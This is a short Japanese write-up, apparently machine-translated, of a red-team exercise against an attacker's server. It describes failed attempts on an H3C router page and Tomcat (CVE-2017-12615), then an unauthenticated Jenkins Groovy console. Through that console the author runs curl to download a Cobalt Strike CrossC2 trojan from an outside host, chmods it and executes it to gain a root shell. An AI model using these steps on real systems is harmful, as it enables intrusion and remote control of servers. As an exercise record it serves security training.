記事ディレクトリ
序文
攻撃と防御の訓練では、攻撃者の IP を追跡し、既存の脆弱性を利用して CS トロイの木馬を起動し、シェルの取得に成功しました。
1. 悪用可能な脆弱性を見つける
攻撃者の IP に関する情報を収集したところ、その IP には複数の開いたポートがあることがわかりました。
ポート 18080 (悪用失敗)
1. H3C ER5100G2 システム管理ページであることが判明し、弱いパスワードでログインしようとして失敗しました
2. 複数回入力した結果、パスワードプロンプト y は取得できましたが、認証コードが取得できないことが判明しました再利用できるため、力ずくで解読することはできません。
ポート 443 (悪用失敗)
ログイン インターフェイスであることが判明し
、不正にアクセスされました。Apache tomcat/7.0.56 を入手し、 POC を使用して
Tomcat のリモート コード実行の脆弱性 (CVE-2017-12615) を悪用して検証しましたが、この脆弱性を利用できないことが判明しました。再現され、修正されました。
ポート 12180 (正常に悪用されました)
ポート 12180 にアクセスしたところ、不正アクセスの脆弱性が存在し、Web サイトの Jenkins バックエンドに直接アクセスして複数のバックグラウンド操作を実行でき、 Groovy スクリプトを実行できるコマンドライン実行文が存在したことが判明しました。
root権限を取得していることが分かりました。
2. 脆弱性 getshell の悪用
CS の CrossC2 プラグインを使用してトロイの木馬「test」を生成します。
サーバー側は Web サイトの
println "curl http://xxxxxx:8080/test -o /test".execute().text を生成します。
トロイの木馬をダウンロードします。サーバーからテストを
実行し、println "ls -al" .execute().text を実行します。テスト トロイの木馬がルート ディレクトリに出現していることを確認しますが、実行する権限がありません。
println “chmod +x /test”.execute().text はトロイの木馬のアクセス許可を与えます
トロイの木馬の「テスト」を実行すると、正常にオンラインになったことがわかります。
取得したサーバー出口 IP を確認し、Web サイトの IP と同じであることを確認します。
ps -ef でプロセスを確認し、Web サイト上で実行されている Jenkins プロセスを確認します。
ifconfig を確認して、イーサネット カードの名前がHVVaddr
この時点で、攻撃者のサーバー権限は正常に取得されています。
要約する
この記事は攻撃と防御の実記録です。法律に従って文明的な方法でインターネットを閲覧してください。他人の Web サイトを違法に攻撃しないでください。